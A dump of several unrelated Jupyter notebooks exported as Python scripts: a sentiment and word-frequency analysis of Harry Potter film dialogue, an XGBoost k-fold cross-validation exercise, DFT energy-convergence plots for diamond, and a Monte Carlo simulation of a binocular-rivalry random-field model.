final_dialogue[final_dialogue['movie_title'] == movie]\n \n for line in movie_df['dialogue']:\n movie_dialogue += line + \" \"\n\n voldy_mentions[movie] = {\n 'Voldemort': movie_dialogue.lower().count(\"voldemort\"),\n 'The Dark Lord': movie_dialogue.lower().count(\"the dark lord\"),\n 'You-Know-Who': movie_dialogue.lower().count(\"you-know-who\"),\n 'Tom Riddle': movie_dialogue.lower().count(\"tom riddle\")\n }\n\npd.DataFrame(voldy_mentions)\n# -\n\n# Voldemort is mentioned the most in the fifth movie. This makes sense as this takes place right after Voldemort's return so there is a lot of talk about whether or not he has returned and there is Harry trying to argue with everyone that he has. Voldemort is mentioned the least in the third and seventh movie. The third movie revolves mostly around Sirius Black's escape from Azkaban, so it makes sense that Voldemort would not be mentioned as much in this movie. In the seventh movie, the trio are traveling in search of horcruxes and they decide to opt for \"You-Know-Who\" instead of \"Voldemort.\" They later find out that the name \"Voldemort\" was jinxed so that anyone who dares sat it will immediatly be stripped of any protective charms or enchantments. \n#\n# Tom Riddle is mentioned the most in the second and sixth movies. This makes sense as the second movie revolves around Tom Riddle's diary and, in the sixth movie, Dumbledore decides to teach Harry all about Lord Voldemort's past as Tom Riddle and his evolution into Lord Voldemort.\n#\n# \"The Dark Lord\" is the way in which the death eaters refer to Voldemort. Therefore, it only appears in movies where there are death eaters. (Peter Pettigrew in the third, Barty Crouch Jr. in the fourth, Snape and other death eaters in the fifth-eight). \n#\n# Let's take a look at some popular bigrams. \n\n# +\nbigrams = nltk.collocations.BigramCollocationFinder.from_words(full_tokens)\n\ntop_20 = bigrams.ngram_fd.most_common(20)\n\ntop_20_df = pd.DataFrame(top_20, columns=['bigram', 'count']).sort_values(by='count')\n\ndef concat(bigram):\n joined = bigram[0] + \" \" + bigram[1]\n return joined\n\ntop_20_df['bigram'] = top_20_df['bigram'].apply(concat)\n\n# +\nplt.figure(figsize=(15,10))\nplt.barh(top_20_df['bigram'].map(str), top_20_df['count'])\n\n# setting label of y-axis\nplt.ylabel(\"Bigram\")\n# setting label of x-axis\nplt.xlabel(\"Frequency\")\nplt.title(\"Top 20 Bigrams\")\nplt.show()\n# -\n\n# In the top 20 bigrams we see Harry Potter and Mr. Potter appear. We also see Professor Dumbledore, Professor Snape, and Sirius Black. Three of Voldemort's aliases appear as well: Dark Lord, Tom Riddle, and Lord Voldemort. \n\n# ### Character Sentiment Analysis\n#\n# From the network analysis, we determined the main characters to be Harry, Ron, Hermione, Neville, Hargid, Dumbledore, Snape, and McGonagall. Let's analyze their dialogue in terms of their most frequent words and attempt to assess their overall positivity/negativity. We will do this using **NLTK**'s **VADER** package for sentiment analysis. \n#\n# First, let's take a look at the most common words/themes these characters tend to talk about. \n#\n# **Harry Potter**\n\nharry_dialogue = final_dialogue[final_dialogue['character_name'] == \"Harry Potter\"]\n\n# What are the top 30 words in Harry's lexicon?\n\nharry_tokens = combine_tokens(harry_dialogue['tokenized_dialogue'])\n\n# Let's lemmatize Harry's dialogue and find the 30 most common words he uses. \n\n# +\nharry_lem = []\n\nfor token in harry_tokens:\n harry_lem.append(nltk.WordNetLemmatizer().lemmatize(token))\n\ntop_30_harry = nltk.FreqDist(harry_lem).most_common(30)\n\ntop_30_harry\n\n\n# -\n\n# In Harry's top 30, we see Hermione, Ron, Hagrid, and Dumbledore all appear. We also see Voldemort and Sirius. \n#\n# Let's repeat this for the other characters.\n#\n# **Ron Weasley**\n\n# +\ndef char_top_30(tokens):\n char_lem = []\n\n for token in tokens:\n char_lem.append(nltk.WordNetLemmatizer().lemmatize(token))\n\n top_30_char = nltk.FreqDist(char_lem).most_common(30)\n return top_30_char\n\n\nron_dialogue = final_dialogue[final_dialogue['character_name'] == \"Ron Weasley\"]\n\nron_tokens = combine_tokens(ron_dialogue['tokenized_dialogue'])\n\nchar_top_30(ron_tokens)\n# -\n\n# Ron's top word is Harry. We also see Hermione appear. He also tends to say \"hell\" and \"brilliant\" a lot. \"Bloody\" can be seen here as well as he usually says \"bloody hell\" or \"bloody brilliant.\"\n#\n# **Hermione Granger**\n\n# +\nhermione_dialogue = final_dialogue[final_dialogue['character_name'] == \"Hermione Granger\"]\n\nhermione_tokens = combine_tokens(hermione_dialogue['tokenized_dialogue'])\n\nchar_top_30(hermione_tokens)\n# -\n\n# Hermione's top word is also Harry, but she says it almost twice as much as Ron. Ron, Dumbledore, and Hagrid also appear. \n#\n# **Neville Longbottom**\n\n# +\nneville_dialogue = final_dialogue[final_dialogue['character_name'] == \"Neville Longbottom\"]\n\nneville_tokens = combine_tokens(neville_dialogue['tokenized_dialogue'])\n\nchar_top_30(neville_tokens)\n# -\n\n# Once again, Harry is the top word for this character. Another character, Seamus, appears here in his top words as well. Interestingly, Neville does not appear to have much dialogue, but he was stil; featured as one of our most connected characters in our network analysis. \n\n# +\ndumbledore_dialogue = final_dialogue[final_dialogue['character_name'] == \"Albus Dumbledore\"]\n\ndumbledore_tokens = combine_tokens(dumbledore_dialogue['tokenized_dialogue'])\n\nchar_top_30(dumbledore_tokens)\n# -\n\n# The theme remains that Harry is the top word. This makes sense as Harry was the top word for the entire corpus. Voldemort appears high on Dumbledore's list, with him saying the name 29 times throughout the movies. Also appearing are Severus, Hogwarts, and Hagrid. \n#\n# **Hagrid**\n\n# +\nhagrid_dialogue = final_dialogue[final_dialogue['character_name'] == \"Rubeus Hagrid\"]\n\nhagrid_tokens = combine_tokens(hagrid_dialogue['tokenized_dialogue'])\n\nchar_top_30(hagrid_tokens)\n# -\n\n# Harry, Dumbledore, and Ron appear. Hogwarts is also in the top 30, as well as Buckbeak the hippogriff. \n#\n# **McGonagall**\n\n# +\nmcgonagall_dialogue = final_dialogue[final_dialogue['character_name'] == \"Minerva McGonagall\"]\n\nmcgonagall_tokens = combine_tokens(mcgonagall_dialogue['tokenized_dialogue'])\n\nchar_top_30(mcgonagall_tokens)\n# -\n\n# For McGonagall, Potter is the top word on her list. This still follows the same theme of Harry being the most mentioned person, but McGonagall only refers to him by his last name. Weasley, Ron's last name, also appears, as well as Dumbledore. \n#\n# Even though he did not appear in our top connected characters, let's take a look at Voldemort's top words.\n\n# +\nvoldemort_dialogue = final_dialogue[final_dialogue['character_name'] == \"Voldemort\"]\n\nvoldemort_tokens = combine_tokens(voldemort_dialogue['tokenized_dialogue'])\n\nchar_top_30(voldemort_tokens)\n# -\n\n# Harry also appear at the top of Voldemort's list, as well as Potter. Nagini, his snake, and Severus also appear. We can also see some of his obsessions, such as his wand and death (kill, death, blood). \n#\n# Now let's track the positivity and negativity of these characters.\n\n# +\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\n\n# create function for positive and negative scores\ndef get_positive_sentiment(sentence):\n sentiment_score = SentimentIntensityAnalyzer().polarity_scores(sentence)\n # extract 'pos' attribute\n positive_meter = sentiment_score['pos']\n return positive_meter\n\ndef get_negative_sentiment(sentence):\n sentiment_score = SentimentIntensityAnalyzer().polarity_scores(sentence)\n # extract 'neg' attribute\n negative_meter = sentiment_score['neg']\n return negative_meter\n\n\n# +\ndef token_to_str(tokens):\n str_output = ' '.join(tokens)\n return(str_output)\n\nfinal_dialogue['token_str'] = final_dialogue['tokenized_dialogue'].apply(token_to_str)\n\nfinal_dialogue['pos'] = final_dialogue['token_str'].apply(get_positive_sentiment)\nfinal_dialogue['neg'] = final_dialogue['token_str'].apply(get_negative_sentiment)\n# -\n\nfinal_dialogue.head()\n\n# What is each character's overall sentiment?\n\n# +\nmain_char_dialogue = final_dialogue[final_dialogue['character_name'].isin([\"Harry Potter\", \"Ron Weasley\", \"Hermione Granger\", \"Albus Dumbledore\", \"Neville Longbottom\", \"Minerva McGonagall\"])]\n\nmain_char_dialogue.groupby('character_name')[['pos', 'neg']].mean()\n# -\n\n# All of the characters tend to have more positive dialogue. \n#\n# Dumbledore and McGonagall's positivity ratings are more than twice their negativity ratings. \n#\n# Harry, Hermione, and Ron all have very similar positivity ratings, but Ron's negativity rating is significantly higher than those of Harry and Hermione. This makes some sense as Ron is known to be the slightly more moody/negative of the bunch. \n#\n# Neville has a much higher positivity rating than Harry, Hermione, and Ron, but his negativity rating is on par with Ron's. \n#\n# Let's see how this compares to Voldemort's language and his known death eaters. \n\n# +\ndeath_eater_dialogue = final_dialogue[final_dialogue['character_name'].isin([\"Voldemort\", \"Severus Snape\", \"Lucius Malfoy\", \"Draco Malfoy\", \"Bellatrix Lestrange\"])]\n\ndeath_eater_dialogue.groupby('character_name')[['pos', 'neg']].mean()\n# -\n\n# Voldemort tends to have more negative dialogue, which makes sense as he talk a lot about killing and death.\n#\n# Interestingly, the other characters tend to have more positive sentiment in their dialogue, with Bellatrix's positivity rating being almost twice that of her negativity. This could be due to her tendency to kiss up to Voldemort and speak highly of him. \n#\n# Draco is very pompous and confident so it makes sense that he may use a lot of positive speech about himself or his family. \n#\n# Let's see how this tracks over each movie.\n\n# +\nmovie_numbers = {}\ni = 1\n\nfor title in final_dialogue['movie_title'].unique():\n movie_numbers[title] = i\n i+=1\n\nmain_char_dialogue['movie_number'] = main_char_dialogue['movie_title'].map(movie_numbers)\n\nbook_char_sentiments = main_char_dialogue.groupby(['character_name', 'movie_title', 'movie_number'])[['pos', 'neg']].mean().reset_index().sort_values(['character_name', 'movie_number'])\n\n# +\npivot_sentiments = book_char_sentiments.pivot(index=\"movie_number\", columns=['character_name'], values=['pos', 'neg'])\n\npivot_sentiments\n\n# +\npos = pivot_sentiments['pos'].reset_index()\n\npos.index = pos.index+1\n\n# +\nplt.figure(figsize=(10, 5))\n\nplt.title(\"Positivity Scores per Movie\")\nplt.xlabel(\"Movie Number\")\nplt.ylabel(\"Positivity Score\")\n\nplt.plot(pos[\"Albus Dumbledore\"], label = \"Dumbledore\")\nplt.plot(pos[\"Harry Potter\"], label = \"Harry Potter\")\nplt.plot(pos[\"Hermione Granger\"], label = \"Hermione Granger\")\nplt.plot(pos[\"Minerva McGonagall\"], label = \"McGonagall\")\nplt.plot(pos[\"Neville Longbottom\"], label = \"Neville Longbottom\")\nplt.plot(pos[\"Ron Weasley\"], label = \"Ron Weasley\")\n\nplt.legend()\nplt.show()\n# -\n\n# Dumbledore's positivity mostly decreases from each movie, with a slight increase from movie five to movie six. Harry, Hermione, and Ron's positivity flunctuates. Both Harry and Ron have a similar dip in positivity in the fifth movie. Interestingly, Hermione has an almost opposite pattern to Harry and Ron. It seems when they are less positive she tends to be more positive and when they are more positive she tends to be less positive.\n#\n# Let's compare this to the negativity scores for these characters. \n\n# +\nneg = pivot_sentiments['neg'].reset_index()\n\nneg.index = neg.index+1\n\nplt.figure(figsize=(10, 5))\n\nplt.title(\"Negativity Scores per Movie\")\nplt.xlabel(\"Movie Number\")\nplt.ylabel(\"Negativity Score\")\n\nplt.plot(neg[\"Albus Dumbledore\"], label = \"Dumbledore\")\nplt.plot(neg[\"Harry Potter\"], label = \"Harry Potter\")\nplt.plot(neg[\"Hermione Granger\"], label = \"Hermione Granger\")\nplt.plot(neg[\"Minerva McGonagall\"], label = \"McGonagall\")\nplt.plot(neg[\"Neville Longbottom\"], label = \"Neville Longbottom\")\nplt.plot(neg[\"Ron Weasley\"], label = \"Ron Weasley\")\n\nplt.legend()\nplt.show()\n# -\n\n# Neville has the highest negativity score from his dialogue in the seventh movie. What is his dialogue?\n\nneville = main_char_dialogue[main_char_dialogue['character_name'] == \"Neville Longbottom\"]\nneville[neville['movie_number'] == 7]\n\n# In this movie, Neville has one line where he insults the death eaters who are checking the trains to see if Harry Potter boarded the Hogwarts Express. \n#\n# Neville also has high negativity for movies one and four. In the first movie, Neville tends to be very forgetfull and clumsy. He also argues with the golden trio when they are about to do something that he thinks will lose points for Gryffindor. \n#\n# Let's remove Neville to see the scores of the other characters more clearly. \n\n# +\nplt.figure(figsize=(10, 5))\n\nplt.title(\"Negativity Scores per Movie\")\nplt.xlabel(\"Movie Number\")\nplt.ylabel(\"Negativity Score\")\n\nplt.plot(neg[\"Albus Dumbledore\"], label = \"Dumbledore\")\nplt.plot(neg[\"Harry Potter\"], label = \"Harry Potter\")\nplt.plot(neg[\"Hermione Granger\"], label = \"Hermione Granger\")\nplt.plot(neg[\"Minerva McGonagall\"], label = \"McGonagall\")\nplt.plot(neg[\"Ron Weasley\"], label = \"Ron Weasley\")\n\nplt.legend()\nplt.show()\n# -\n\n# Ron has the highest negativity score, with a score of about 0.175 in the fourth movie. In this movie, he is very moody and jealous and he argues with Harry because he thinks Harry put his name in the Goblet of Fire on purpose to gain more fame. \n\n# ### Conclusions\n#\n# Now that we have finished our analysis, we can answer the questions we posed in the beginning of the notebook.\n#\n# **Which characters had the most unique interactions with other characters?**\n# - Harry, Ron, and Hermione unsurprisingly had the most interactions with each others. \n# - Neville and Hagrid appeared more than expected, which shows them to be somewhat more low-key influencers in the series. \n#\n# **Who are the characters that had the most chapters with other characters?**\n# - Harry, Ron, and Hermione (the \"golden trio\"). \n#\n# **Who had the most influence over characters?**\n# - Harry by far has the most influence. He appears in the most scenes and he appears with almost every character from the series. This makes sense since he is the main character of the series. \n#\n# **What do characters tend to talk about?**\n# - The top word for all main characters and Voldemort was “Harry,” so characters tend to either talk about Harry or talk to Harry while addressing him.\n# - The names of other characters also appear in each character's dialogue, so they tend to talk about other characters who are important to them. \n#\n# **Do certain characters tend to talk about negative things vs. positive?**\n# - Most characters tend to have more positive language. Even the death eaters' dialogues have higher positivity rating than negativity ratings. \n# - Voldemort is the only character whose negative language outweighs their positive language. This makes sense as he is the main villain and he talks about death and killing often.\n\n# ### Limitations\n#\n# **_Sentiment Analysis_**: One of the limitations of the sentiment analysis portion of this project is that the Harry Potter universe contains many made-up words, places, and spells. As such, the sentiment analysis tool may not know how to poperly rate these words. For example, \"avada\" or \"kedavra\" should be rated very negatively as these are portions of the killing curse, but the sentiment analysis tool cannot know that these words basically mean the same as \"kill.\" \n","repo_name":"addsding/cuny-data620","sub_path":"final_proj/final-project.ipynb","file_name":"final-project.ipynb","file_ext":"py","file_size_in_byte":44841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"2950663766","text":"# + [markdown] id=\"view-in-github\" colab_type=\"text\"\n# \"Open\n\n# + [markdown] id=\"wvYF6Q4PEGWE\"\n# **k fold cross validation**\n\n# + id=\"W0b6PM4L8X_p\"\n#import libraries\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"BuHi1OJCE8Ak\" outputId=\"707da7b1-9e32-46d8-8362-b62642528390\"\ndataset = pd.read_csv(\"/content/Data.csv\")\nx = dataset.iloc[:, :-1].values\ny = dataset.iloc[:, -1].values\nprint(x)\nprint(y)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"kxJFFrZCFJCs\" outputId=\"7ad26312-a65f-4973-deb2-f12d38d0bc05\"\n#splitting the dataset into training and test sets\nfrom sklearn.model_selection import train_test_split\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size =0.25)\nprint(x_train)\nprint(y_train)\nprint(x_test)\nprint(y_test)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"cN0r7k5oFg9s\" outputId=\"67130463-cec4-4dee-a795-02f54137e077\"\n#train the xgboost model\nfrom xgboost import XGBClassifier\nxgb = XGBClassifier()\nxgb.fit(x_train,y_train)\n\n# + id=\"m-MrdA5EF47k\"\n#pip install xgboost\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 235} id=\"00BJOPyVGEYE\" outputId=\"73e74e33-a732-487d-fefd-029a9a995d45\"\n#confusion matrix and accuracy score\nfrom sklearn.metrics import accuracy_score,confusion_matrix\ncm = confusion_matrix(y_pred,y_test)\nprint(cm)\naccuracy_score(y_test,y_pred)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"yKJEegzSGEUo\" outputId=\"5f9bbefc-e095-4943-f558-0fa179a7156e\"\n#implement k-fold cross validation\nfrom sklearn.model_selection import cross_val_score\naccuracies = cross_val_score(estimator = xgb,X =x_train,y = y_train,cv =40)\nprint(\"accuracy : {:.2f}%\".format(accuracies.mean()*100))\nprint(\"standard deviation :{:.2f}%\".format(accuracies.std()*100))\n\n# + id=\"Oz_rtyKlIitC\"\n\n","repo_name":"BDhivya-md3/day_11","sub_path":"day_11.ipynb","file_name":"day_11.ipynb","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"23441588306","text":"# +\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# %matplotlib inline\n# -\n\n# # Energy cutoff convergence test\n\nEtot_1 = pd.read_table(\"../Ecut/Etot\", delimiter=\" \", header=None)\nEtot_conEcut = pd.DataFrame({'Ecut' : [i for i in range(10,105,5)], 'Etot (Ry)' : Etot_1[24].to_list(), 'Etot (eV/atom)' : [i*13.606/2 for i in Etot_1[24].to_list()],'Etot-Etot(cut=100) (meV/atom)' : [(i-Etot_1[24][18])*(13.606/2)*1000 for i in Etot_1[24].to_list()]})\nEtot_conEcut\n\n# +\nfig = plt.figure(figsize=(12,8))\n\nplt.plot(Etot_conEcut[\"Ecut\"],Etot_conEcut[\"Etot (Ry)\"],\"bo-\")\nplt.xlabel('E$_{cut}$ (Ry)',size=14)\nplt.ylabel('E$_{total}$ (Ry)',size=14)\nplt.hlines(Etot_1[24][18],10,100,color='k',linestyles=':')\n\n#plt.xlim(50,100)\n#plt.ylim(-36.8682,-36.867)\n# -\n\ndelta_Etot = []\nfor i in range(0,len(Etot_conEcut[\"Etot (eV/atom)\"])-1,1):\n delta_Etot.append(abs(Etot_conEcut[\"Etot (eV/atom)\"].to_list()[i+1]-Etot_conEcut[\"Etot (eV/atom)\"].to_list()[i]))\n\n# +\nfig = plt.figure(figsize=(12,8))\n\nplt.plot(range(15,105,5),delta_Etot,\"bo-\")\nplt.xlabel('E$_{cut}$ (Ry)',size=14)\nplt.ylabel('$\\Delta$E$_{total}$ (eV/atom)',size=14)\nplt.hlines(0.001,10,100,color='k',linestyles=':')\n\nplt.yscale('log')\n# -\n\n# # k-point convergence test\n\nEtot_2 = pd.read_table(\"../kpoint/Etot\", delimiter=\" \", header=None)\nEtot_conkp = pd.DataFrame({'Ecut' : [i for i in range(3,14,1)], 'Etot (Ry)' : Etot_2[24].to_list(), 'Etot (eV/atom)' : [i*13.606/2 for i in Etot_2[24].to_list()],'Etot-Etot(kp=13) (meV/atom)' : [(i-Etot_2[24][10])*(13.606/2)*1000 for i in Etot_2[24].to_list()]})\nEtot_conkp\n\n# +\nfig = plt.figure(figsize=(12,8))\n\nplt.plot(Etot_conkp[\"Ecut\"],Etot_conkp[\"Etot (Ry)\"],\"bo-\")\nplt.xlabel('nkp',size=14)\nplt.ylabel('E$_{total}$ (Ry)',size=14)\nplt.hlines(Etot_2[24][10],3,13,color='k',linestyles=':')\n\n#plt.xlim(5,13)\n#plt.ylim(-36.8682,-36.867)\n# -\n\ndelta_Etot_kp = []\nfor i in range(0,len(Etot_conkp[\"Etot (eV/atom)\"])-1,1):\n delta_Etot_kp.append(abs(Etot_conkp[\"Etot (eV/atom)\"].to_list()[i+1]-Etot_conkp[\"Etot (eV/atom)\"].to_list()[i]))\n\n# +\nfig = plt.figure(figsize=(12,8))\n\nplt.plot(range(4,14,1),delta_Etot_kp,\"bo-\")\nplt.xlabel('nkp',size=14)\nplt.ylabel('$\\Delta$E$_{total}$ (eV/atom)',size=14)\nplt.hlines(0.001,4,13,color='k',linestyles=':')\n\nplt.yscale('log')\n# -\n\n\n","repo_name":"ChayanonAtthapak/DFT_workshop","sub_path":"2) Diamond_at_high_pressure/Convergence_test/Convergence_test.ipynb","file_name":"Convergence_test.ipynb","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-jupyter-script","pt":"1"} +{"seq_id":"30617537135","text":"import numpy as np\nimport numpy.random as random\nimport matplotlib.pyplot as plt\n\n\n# +\n#testing parallel run of shorter simulations for Gershman 2012's model, p is the number of simulations to run in parallel\n# -\n\ndef p_w_new(index,w,x_l,x_r,pi_l,pi_r,beta,var,b,tau,p):\n #index: the index of the weight to be sampled, tuple (i,j)\n i,j = index[0],index[1]\n s_n = w[:,i,j]*x_l[:,i,j]+(1-w[:,i,j])*x_r[:,i,j]\n E_s = (b[:,i,j]-s_n)**2\n w_extended = np.concatenate((w[:,:,0].reshape(p,-1,1),w,w[:,:,-1].reshape(p,-1,1)),axis=2)\n w_extended = np.concatenate((w_extended[:,0,:].reshape(p,1,-1),w_extended,w_extended[:,-1,:].reshape(p,1,-1)),axis=1)\n E_s = E_s + beta*((w_extended[:,i+1,j+1]-w_extended[:,i,j+1])**2+(w_extended[:,i+1,j+1]-w_extended[:,i+1,j])**2)\n E_s = E_s + beta*((w_extended[:,i+1,j+1]-w_extended[:,i+2,j+1])**2+(w_extended[:,i+1,j+1]-w_extended[:,i+1,j+2])**2)\n E_x = 1/(2*var)*(pi_l[:,i,j]*(x_l[:,i,j]-s_n)**2+pi_r[:,i,j]*(x_r[:,i,j]-s_n)**2)\n return np.exp(-tau*(E_x+E_s))\n\n\ndef p_pi_l_new(index,w,x_l,x_r,pi_l,var,b,tau,gamma,p):\n #sparse coefficient alpha TBC\n i,j = index[0],index[1]\n s_n = w[:,i,j]*x_l[:,i,j]+(1-w[:,i,j])*x_r[:,i,j]\n E_xl = 1/(2*var)*pi_l[:,i,j]*(x_l[:,i,j]-s_n)**2\n pi_extended = np.concatenate((pi_l[:,:,0].reshape(p,-1,1),pi_l,pi_l[:,:,-1].reshape(p,-1,1)),axis=2)\n pi_extended = np.concatenate((pi_extended[:,0,:].reshape(p,1,-1),pi_extended,pi_extended[:,-1,:].reshape(p,1,-1)),axis=1)\n #E_pi_l = alpha*(pi_extended[i+2,j+1]+pi_extended[i+1,j+2]+pi_extended[i,j+1]+pi_extended[i+1,j])\n '''E_pi_l = E_pi_l + gamma*((pi_extended[:,i+1,j+1]-pi_extended[:,i,j+1])**2+(pi_extended[:i+1,j+1]-pi_extended[:,i+1,j])**2)'''\n E_pi_l = gamma*((pi_extended[:,i+1,j+1]-pi_extended[:,i,j+1])**2+(pi_extended[:,i+1,j+1]-pi_extended[:,i+1,j])**2)\n E_pi_l = E_pi_l + gamma*((pi_extended[:,i+1,j+1]-pi_extended[:,i+2,j+1])**2+(pi_extended[:,i+1,j+1]-pi_extended[:,i+1,j+2])**2)\n return np.exp(-tau*(E_xl+E_pi_l))\n\n\ndef p_pi_r_new(index,w,x_l,x_r,pi_r,var,b,tau,gamma,p):\n #sparse coefficient alpha TBC\n i,j = index[0],index[1]\n s_n = w[:,i,j]*x_l[:,i,j]+(1-w[:,i,j])*x_r[:,i,j]\n E_xr = 1/(2*var)*pi_r[:,i,j]*(x_r[:,i,j]-s_n)**2\n pi_extended = np.concatenate((pi_r[:,:,0].reshape(p,-1,1),pi_r,pi_r[:,:,-1].reshape(p,-1,1)),axis=2)\n pi_extended = np.concatenate((pi_extended[:,0,:].reshape(p,1,-1),pi_extended,pi_extended[:,-1,:].reshape(p,1,-1)),axis=1)\n #E_pi_l = alpha*(pi_extended[i+2,j+1]+pi_extended[i+1,j+2]+pi_extended[i,j+1]+pi_extended[i+1,j])\n '''E_pi_l = E_pi_l + gamma*((pi_extended[:,i+1,j+1]-pi_extended[:,i,j+1])**2+(pi_extended[:i+1,j+1]-pi_extended[:,i+1,j])**2)'''\n E_pi_r = gamma*((pi_extended[:,i+1,j+1]-pi_extended[:,i,j+1])**2+(pi_extended[:,i+1,j+1]-pi_extended[:,i+1,j])**2)\n E_pi_r = E_pi_r + gamma*((pi_extended[:,i+1,j+1]-pi_extended[:,i+2,j+1])**2+(pi_extended[:,i+1,j+1]-pi_extended[:,i+1,j+2])**2)\n return np.exp(-tau*(E_xr+E_pi_r))\n\n\ndef proposal_function_new(z, index, p, sigma = 1):\n #generate a new proposal from the current sample\n #change only one element at a time!\n z_star = z.copy()\n i,j = index[0],index[1]\n z_star[:,i,j] = z_star[:,i,j] + sigma*random.normal(size = (p))\n return z_star\n\n\ndef binary_proposal_new(z,index):\n #p: the probability of switch, to stablize the system\n z_star = z.copy()\n z_star[:,index[0],index[1]] = 1-z[:,index[0],index[1]]\n return z_star\n\n\n# +\ndef sample_rejection_w_new(index,w,w_star,x_l,x_r,pi_l,pi_r,beta,var,b,tau,p):\n p_w_cur = p_w_new(index,w,x_l,x_r,pi_l,pi_r,beta,var,b,tau,p)\n p_w_star = p_w_new(index,w_star,x_l,x_r,pi_l,pi_r,beta,var,b,tau,p)\n p_acc = p_w_star/p_w_cur\n p_ran = random.random(p)\n acc = np.sign(p_acc-p_ran).astype('int')\n return acc\n \ndef sample_rejection_pi_l_new(index,w,x_l,x_r,pi_l,pi_l_star,var,b,tau,gamma,p):\n p_pi_l_cur = p_pi_l_new(index,w,x_l,x_r,pi_l,var,b,tau,gamma,p)\n p_pi_l_star = p_pi_l_new(index,w,x_l,x_r,pi_l_star,var,b,tau,gamma,p)\n p_acc = p_pi_l_star/p_pi_l_cur\n p_ran = random.random(p)\n acc = np.sign(p_acc-p_ran).astype('int')\n return acc\n \ndef sample_rejection_pi_r_new(index,w,x_l,x_r,pi_r,pi_r_star,var,b,tau,gamma,p):\n p_pi_r_cur = p_pi_r_new(index,w,x_l,x_r,pi_r,var,b,tau,gamma,p)\n p_pi_r_star = p_pi_r_new(index,w,x_l,x_r,pi_r_star,var,b,tau,gamma,p)\n p_acc = p_pi_r_star/p_pi_r_cur\n p_ran = random.random(p)\n acc = np.sign(p_acc-p_ran).astype('int')\n return acc\n\n\n# -\n\ndef simulation_new(var,beta,gamma,alpha,tau,b,dim,p,no_sample):\n #p: no. parallel sampling sequences\n #no. sample: no. samples in each sequence\n #dim: dimension of each MRF\n sampling_order_i = np.arange(dim)\n sampling_order_j = np.arange(dim)\n\n #set initial condition for w, pi_r, pi_l\n #set visual input x_r, x_l as conflicting input\n x_l = np.ones((p,dim,dim))\n x_r = np.zeros((p,dim,dim))\n w = random.rand(p,dim,dim)\n pi_l = random.randint(0,2,(p,dim,dim))\n pi_r = random.randint(0,2,(p,dim,dim))\n\n s = []\n for m in range(int(no_sample)):\n #order of sweep is randomnized\n random.shuffle(sampling_order_i)\n random.shuffle(sampling_order_j)\n #the following for loop update on pi_l\n for i in sampling_order_i:\n for j in sampling_order_j:\n index = (i,j)\n pi_r_star = binary_proposal_new(pi_r, index)\n acc_1 = sample_rejection_pi_r_new(index,w,x_l,x_r,pi_r,pi_r_star,var,b,tau,gamma,p)\n for j in range(p):\n if acc_1[j] == 1:\n pi_r[j,:,:] = pi_r_star[j,:,:]\n\n #the following for loop update on pi_r\n for i in sampling_order_i:\n for j in sampling_order_j:\n index = (i,j)\n pi_l_star = binary_proposal_new(pi_l, index)\n acc_2 = sample_rejection_pi_l_new(index,w,x_l,x_r,pi_l,pi_l_star,var,b,tau,gamma,p)\n for j in range(p):\n if acc_2[j] == 1:\n pi_l[j,:,:] = pi_l_star[j,:,:]\n \n #the following for loop update on w\n for i in sampling_order_i:\n for j in sampling_order_j:\n index = (i,j)\n w_star = proposal_function_new(w, index, p)\n acc_3 = sample_rejection_w_new(index,w,w_star,x_l,x_r,pi_l,pi_r,beta,var,b,tau,p)\n for j in range(p):\n if acc_3[j] == 1:\n w[j,:,:] = w_star[j,:,:]\n \n s_i = w*x_l+(1-w)*x_r\n s.append(s_i)\n return np.array(s)\n\n\nvar,beta,gamma,alpha,tau,b,dim,p,no_sample = 0.001,10,10,0,1/100,0.5*np.ones((400,5,5)),5,400,1100,\ns = simulation_new(var,beta,gamma,alpha,tau,b,dim,p,no_sample)\n\n\ndef corr(x,y):\n return (np.mean(x*y)-np.mean(x)*np.mean(y))/(np.var(x)*np.var(y))**0.5\n\n\ndef autocorr(x,y,n):\n #x, y: arrays to calculate correlation\n #n: cover correlation rxy(0) to rxy(n-1)\n rxy = []\n for i in range(n):\n y_shift = np.concatenate((np.zeros(i),y[:(len(y)-i)]))\n rxy.append(corr(x,y_shift))\n return np.array(rxy)\n\n\n'''corr_list = []\np = 400\ns = np.array(s)\nfor i in range(p):\n corr_list.append(corr(s[:,0,3,1],s[:,i,3,1]))\ncorr_list = np.array(corr_list)'''\n\nplt.hist(np.hstack((s[:,:,0,0].reshape(-1),s[:,:,4,0].reshape(-1),s[:,:,0,4].reshape(-1),s[:,:,4,4].reshape(-1))),800,density=True)\nplt.xlabel('percept of node (corner)')\nplt.ylabel('density')\nprint(np.std(np.hstack((s[:,:,0,0].reshape(-1),s[:,:,4,0].reshape(-1),s[:,:,0,4].reshape(-1),s[:,:,4,4].reshape(-1)))))\n\nplt.hist(s[:,:,1:4,1:4].reshape(-1),800,density=True)\nplt.xlabel('percept of interior node')\nplt.ylabel('density')\nprint(np.std(s[:,:,1:4,1:4].reshape(-1)))\n\nvar,beta,gamma,alpha,tau,b,dim,p,no_sample = 0.001,10,10,0,1/100,0.5*np.ones((400,1,1)),1,400,22000,\ns_1d = simulation_new(var,beta,gamma,alpha,tau,b,dim,p,no_sample)\n\n\ndef mix_gau_1(x):\n return 1/2**0.5/np.pi**0.5*(0.0415175*1/0.1**0.5*np.exp(-1/0.1*x**2/2)+0.0415175*1/0.1**0.5*np.exp(-1/0.1*(x-1)**2/2)+0.9144640909090909*1/50**0.5*np.exp(-1/50*(x-0.5)**2/2))\n\n\nplt.hist(s_1d.reshape(-1),800,density=True)\nx=np.arange(-30,30,0.01)\nplt.plot(x,mix_gau_1(x),color='r', linewidth=1.5)\nplt.xlabel('percept of single node MRF')\nplt.ylabel('density')\nprint(np.std(s_1d.reshape(-1)))\nplt.legend(['prediction','histogram'])\n\n# 